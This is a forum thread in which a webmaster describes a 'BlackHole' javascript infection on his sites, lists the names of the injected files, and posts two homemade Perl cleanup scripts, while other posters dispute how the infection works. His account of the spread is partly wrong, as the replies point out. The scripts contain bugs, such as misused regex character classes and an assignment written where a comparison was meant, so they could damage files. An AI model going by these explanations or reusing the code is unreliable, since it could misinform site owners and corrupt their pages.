Will "BlackHoles" make Google ban your website?

8 replies
I recently had one of my sites suspended by Google.

What had I done to 'offend' the Mighty One? Personally, nothing ... but some Russian hacker had caused my dilemma. And he can just as easily get your site(s) suspended by Google, resulting in hundreds of potential lost sales. And the thing is, you won't even know he's there snooping around!

In fairness, Google acted in the best interest of the internet community at large. You see, this rather nasty piece of work - which embeds itself within your home pages without your knowledge - will spread to other servers as soon as someone loads your home page into their browser, (or you access the login screen of your Wordpress account)

Having said that, you have to admire the programming skills of the hackers. The way it appears to work is this.

When someone loads your home page, it reports YOUR URL back to their central database to say that their script is available at this site. At the same time, it contacts that database, and selects another hacked website's URL, and stores it in your script. It also installs another piece of code which now snoops around your server, and locates any file that contains the words "index.html" or "index.php". Once again, it stores a random URL into each of these scripts.

In effect, as soon as someone loads an index page into their browser, the innocent looking javascript code "calls home" to the random URL site, and loads a script from the remote server, (and that web account is equally oblivious to the fact that they have malware on their machine) Quite what this "BlackHole Exploit" does after that - apart from infesting your scripts is unclear.

Now here's the thing. Because the script that "calls home" is an innocent piece of javascript that uses a SRC tag to load a document ... it cannot be seen by the server side virus protection programs!! Quite simply, it cannot distinguish between rogue javascript and bona fide javascript!

The only way you'll know about this is when someone visits your site, and your PC based virus software reports the exploit ... or when Google shut you down.

How do you get rid of the problem? Like a persistent weed; with difficulty! Remember, each index page will have a random URL in it, so its difficult to write a program that searches for a specific URL. Plus, as it evolves, it might use different javasript names. So whilst the code that currently snoops around your server is named "search.php", it could later become "search101.php" which will further complicate 'pattern matching' programs.

And even if you manually remove the offending code ... it can get reloaded into your scripts again, getting in via the "Black Hole" that let it in the first time around, (ie when some other site loads an index page - where your site is listed as the "call home" URL - the problem starts all over again!)

My method - which it has to be said is a work around rather than a solution - is to set up a CRON job to check my index pages every hour, and literally "weed out" the offending code. Now because the "BlackHole Exploit" is a script, it tends to amend your pages in a specific way. For example, with Wordpress scripts - including your admin login screen - it tends to place new code above the <?php start tag. With HTML pages, it places it after the <body> tag, usually on the same line.

It seems to consist of three parts; the javascript SRC that "calls home", the search component ("search.php"), and another file in the root directory called "js.php". Note: That's now: These names could later change!

So my perl script analyses each index page, looks for the telltale "call back" link, and then recreates the page in its CORRECT syntax before saving it again. It then looks for the "search.php" and "js.php" in the root folder of the account, and erases them if they exist. The script has to do this for EVERY domain hosted in your account, even sub-domains! As I say, not ideal, but if it avoids potential problems ...

The theory goes that if "js.php" is eradicated, when the remote URL "calls home", it will not find any script to call.

Here then is the script: (I named it "check_holes.pl")

##### THIS IS CHECK_HOLES.PL #####
#!/usr/bin/perl

# IT WILL UNFORTUNATELY ALSO DELETE ANY LEGIT JS CODE USED ON THE SAME LINE AS THE BODY TAG
# Providing javascript code is on a new line, no problem should occur

$base_path="home/XXXXXXXX/public_html";

opendir (FILES,"$base_path");
@files=readdir(FILES);
closedir(FILES);
@files=grep(!/^\./, @files);
@files=grep(!/\./, @files);
push (@files,"YYYYY/ZZZZZ"); # Add extra paths here

for ($x=0; $x<@files; $x++){
opendir (TMPFILE,"$base_path/$files[$x]");
@tmp_file=readdir(TMPFILE);
closedir(TMPFILE);
@tmp_file=grep(!/^\./, @tmp_file);
@wp_tmp=@tmp_file;
@wp_tmp=grep(/^wp_/, @wp_tmp);
@tmp_file=grep(/index/, @tmp_file);

next if $tmp_file[0] eq '';
for ($z=0; $z<@tmp_file; $z++){
&open_file;
}
if (@wp_tmp > 0){
&amend_wp;
}
}

if (-e "$base_path/js.php"){
unlink "$base_path/js.php";
$now=time();
($sec,$min,$hr,$day,$month,$year,$day_of_week,$day _of_year,$some) = localtime($now);
$year=($year+1900);
print "check_holes ran at $hr:$min $day-$month-$year";
}

sub open_file{
open (IND, "<$base_path/$files[$x]/$tmp_file[$z]");
@ind=<IND>;
close(IND);

for ($y=0; $y<@ind; $y++){
&remove if grep(/[search|js].php/,$ind[$y]);
}
}

sub remove{
$line=$ind[$y];
if($line =~ m|<body (.*?)<script (.*?)/js.php"></script>|igs){
$ind[$y]="<body $1\n";
}
if($line =~ m|<body (.*?)<script (.*?)/search.php"></script>|igs){
$ind[$y]="<body $1\n";
}
open (IND, ">$base_path/$files[$x]/$tmp_file[$z]");
print IND @ind;
close(IND);
print "$base_path/$files[$x]/$tmp_file[$z] has been corrected<br>";
last;
}

sub amend_wp{
$path="$base_path/$files[$x]/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_admin/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_content/index.php";
&correct_wp;
}

sub correct_wp{
open (WP, "<$path");
@wp=<WP>;
close(WP);
if (grep(/\<script /,$wp[0])){
$wp[0]="<?php\n";
open (WP, ">$path");
print WP @wp;
close(WP);
print "Wordpress: $path has been corrected<br>";
}
}

exit;

##### END CHECK_HOLES.PL #####


You would replace "XXXXXXXX" with your own eight digit server account name.

If you have any secondary index.html pages within a folder inside a domain, you will have to manually 'push' them into the database with the "YYYYY/ZZZZZ" link. Separate each path with a comma.

For example, your main domain (MY-SITE.com) is actually a folder on the server called "mysite" Within that folder is an index page which ends with the line: "We also have a cut-down version. Check it out at 'MY-SITE.com/cut_version' On the server, this is another folder within "mysite" called "cut_version". Inside that folder is ... yes, another index.html page. So in order for the script to check this line as well, you need to add the path "mysite/cut_version" replacing the "YYYYY/ZZZZZ" above.

Once the script is unloaded to your CGI-BIN, set the permission attibutes to "755". Next set up a CRON job via Cpanel to run this script once a day or, as in my case, once an hour.

Until some "techie" can decode the javascript the hacker created, and finds a way to block their "blackhole" for good, then at present, this is the best solution I have to protect my site. Maybe you should be protecting your site as well.

PERL PROGRAMMERS: OK, so maybe this isn't the best coding in the World, but it's the best I can do, and it works for me!

Feel free to comment on this solution, and even pass the solution on to others via other forums etc.
#ban #blackhole exploit #blackholes #google #make #perl script #website
  • Profile picture of the author SteveJohnson
    will spread to other servers as soon as someone loads your home page into their browser,
    Can't happen. There is no way for a client-side js script to access or change files on my server, or any other unhacked server, for that matter.

    Your server has been hacked. That's how the code got in there in the first place. If it's coming back after your efforts to clean it up, then you're not getting your server cleaned completely. There's no 'black hole' left behind that allows access to a completely different server.

    In order to modify files on a server, whatever/whomever is doing it must have access to the server, either through FTP, hosting control panel, or SSH - meaning that the server's been hacked.

    Your perl script seems to be going to an awful lot of work to close the barn door after the horse is already out.
    Signature

    The 2nd Amendment, 1789 - The Original Homeland Security.

    Gun control means never having to say, "I missed you."

    {{ DiscussionBoard.errors[4034836].message }}
    • Profile picture of the author ToneUK
      If it is the server that has been hacked then finding and closing the holes may not be good enough. You might be best off rebuilding the server from scratch as the hacker may have created back doors into the server that could be activated at any time.
      Signature
      Free article directory for publishers to download. Free article submission with fast approval times. Submit free articles with back links that are Do follow.
      {{ DiscussionBoard.errors[4035426].message }}
      • Profile picture of the author web20sitemakerpro
        As you pointed out, the my script made a "bit of a meal" of checking things. I've done a bit more research, and found something called "File::Find" which does a more 'recursive' search of server. If you're interested, this is it.

        #!/usr/bin/perl
        use File::Find;
        print "content-type: text/html\n\n";
        $a=0;
        $dir = "home/XXXXXXXX/public_html";
        ## Set $dir to the root of the server account

        @filenames=('js.php','wpcomplate.php','sidename.js ','confdb.php');
        ## As the script evolves, it uses new names. As of 10-June-2011, these are the current names it uses

        find(\&edits, $dir);

        for ($x=0; $x<@files; $x++){
        $rem=0;
        if (grep(/index.[html|php]/,$files[$x])){
        &open_file;
        &save_file if $rem=1;
        }
        }

        for ($a=0; $a<@filenames; $a++){
        if (-e "$dir/$filenames[$a]"){
        unlink "$dir/$filenames[$a]";
        }
        }

        $now=time();
        ($sec,$min,$hr,$day,$month,$year,$day_of_week,$day _of_year,$some) = localtime($now);
        $year=($year+1900);
        print "check_holes ran at $hr:$min $day-$month-$year";

        ### SUB ROUTINES ###
        sub edits() {
        # $_ is filename
        # $File::Find::name is full path
        $files[$a]=$File::Find::name;
        $a++;
        }

        sub open_file{
        open (IND, "$files[$x]");
        @ind=<IND>;
        close(IND);

        for ($y=0; $y<@ind; $y++){
        &remove1 if grep(/[search|js|counter|sidename|wpcomplate|confdb]/,$ind[$y]);
        &remove2 if grep(/<html><body><script/,$ind[$y]);
        }
        }

        sub save_file{
        open (IND, ">$files[$x]");
        print IND @ind;
        close(IND);
        }

        sub remove1{
        $rem=1;
        $line=$ind[$y];
        if($line =~ m|<body (.*?)<script|igs){
        $ind[$y]="<body $1\n";
        }
        print "Had to correct $files[$x]\n";
        }

        sub remove2{
        $rem=1;
        $ind[$y]='';
        print "Had to correct $files[$x]\n";
        }

        I'm not sure I agree with SteveJ. If that were true, then placing code from Amazon or eBay etc on a web page would mean the latter would not load onto a webpage, but we know that's not the case. And that's all the code is doing, placing what looks like a legitimate javascript SCR call to another website. Once inside, its able to rewrite any index html/php pages it finds. (It locates those pages via a script in root called "search.php")

        It also evolves; its now using new names as people are beginning to recognise "js.php" / "search.php".

        This is a global "nasty". There are dozens of posts of people having problems caused by this Russian "ejit". Yesterday I saw a video from a guy named "Tony Laindg" (or similar) who was saying how 100 of his sites came under attack.

        I don't think its as simple as a hacker changing code as its done via a remote robot. My server host even changed my password ... and still the B****Y thing got through!! They ran a system wide anti-virus program, which stated the sites were free of any malicious code. I checked 2 mins later, and I STILL found the thing.

        And this morning - because my initial script wasn't working - I've had to MANUALLY amend 100+ pages as it was back there again! (Helpfully, my web host had also reset all my CGI scripts to 644 which meant I also had to change around 200 of them as well ... which didn't best please me!)

        ** Having said that, I meant to add an item to the above code that ensured all index files had a "644" permission. Anyone using code might like to add that.
        {{ DiscussionBoard.errors[4045339].message }}
        • Profile picture of the author rixlo
          These hackers should go to Federal Prison . I could never understand what they get out of messing other people's hard work. I guess you can always count on Karma.
          ric
          Signature
          "Humpty Dumpty was pushed"
          {{ DiscussionBoard.errors[4061645].message }}
          • Profile picture of the author ionisis
            Originally Posted by rixlo View Post

            These hackers should go to Federal Prison . I could never understand what they get out of messing other people's hard work. I guess you can always count on Karma.
            ric
            They get money, and lots of it; and it's BIG name brand companies that are sometimes paying for it .

            I don't know why this is being referred to as a "Black Hole"; i write Black Holes, and that's not it --that's a "Virus" (it spreads and infects).

            As one other member said, js cannot affect your server's files, UNLESS the files parse JSON and actually DO something with it on the SERVER SIDE (unlikely, but it's not impossible).

            Check out these 2 hack detection and prevention programs for your Linux and Unix servers:
            rkHunter
            denyhosts

            Ahhhh! The beauty of Open Source: everyone knows what's under the hood!
            {{ DiscussionBoard.errors[4065012].message }}
        • Profile picture of the author SteveJohnson
          Originally Posted by web20sitemakerpro View Post

          I'm not sure I agree with SteveJ. If that were true, then placing code from Amazon or eBay etc on a web page would mean the latter would not load onto a webpage, but we know that's not the case. And that's all the code is doing, placing what looks like a legitimate javascript SCR call to another website. Once inside, its able to rewrite any index html/php pages it finds. (It locates those pages via a script in root called "search.php")
          I don't understand your argument. YOU place the Amazon or eBay javascript into your file on your server. The visitor's browser calls the file, then executes the javascript on the visitor's computer. The js has absolutely NO interaction with your server after the web page file is served.

          The above is somewhat simplistic, of course. Js can interact with the server through AJAX calls - but the root of the problem is that your server was hacked, and the malicious code/files were placed there.

          I don't think its as simple as a hacker changing code as its done via a remote robot. My server host even changed my password ... and still the B****Y thing got through!! They ran a system wide anti-virus program, which stated the sites were free of any malicious code. I checked 2 mins later, and I STILL found the thing.
          It didn't "get through" - IT IS STILL THERE. It could be hiding in a jpg file or any number of places.

          A simple anti-virus scan will not find out what's going on. I'll guarantee you that there is a file on your server that was placed there by the hacker when he/she first got in. It's in a file that is facing the web, so it can be called by a web browser. When it's called, it reinstalls itself and does its nasty things all over again. Unless and until you locate that file, you'll be plagued with problems.
          Signature

          The 2nd Amendment, 1789 - The Original Homeland Security.

          Gun control means never having to say, "I missed you."

          {{ DiscussionBoard.errors[4067918].message }}
  • Profile picture of the author rixlo
    Thanks, coming to grips with people doing wrong.
    Signature
    "Humpty Dumpty was pushed"
    {{ DiscussionBoard.errors[4067227].message }}
  • Profile picture of the author jasonthewebmaster
    Banned
    if this happens to you, then the only "black hole" is the one in your website's code.

    Meaning.. you have A SECURITY ISSUE.

    Typically a hacker gets in to your site to install a javascript iframe such as this one by using things like SQL INJECTION ATTACKS on your site.

    If your site gets hacked it's because of a couple possible reasons:
    1. a plugin you installed (such as wordpress or joomla plugins) has a security hole in it.
    2. your file's permissions are set too high
    3. whoever programmed your site did a sloppy job and did not follow established security protocals etc.

    Trying to fix the issue with a cron job that scans your files for changes then overwrites them is a good idea, but it is not really a fix. You are treating the symptoms.

    You need to fix the original security issue that let the hacker into your site in the first place.

    Good luck!
    {{ DiscussionBoard.errors[4068188].message }}

Trending Topics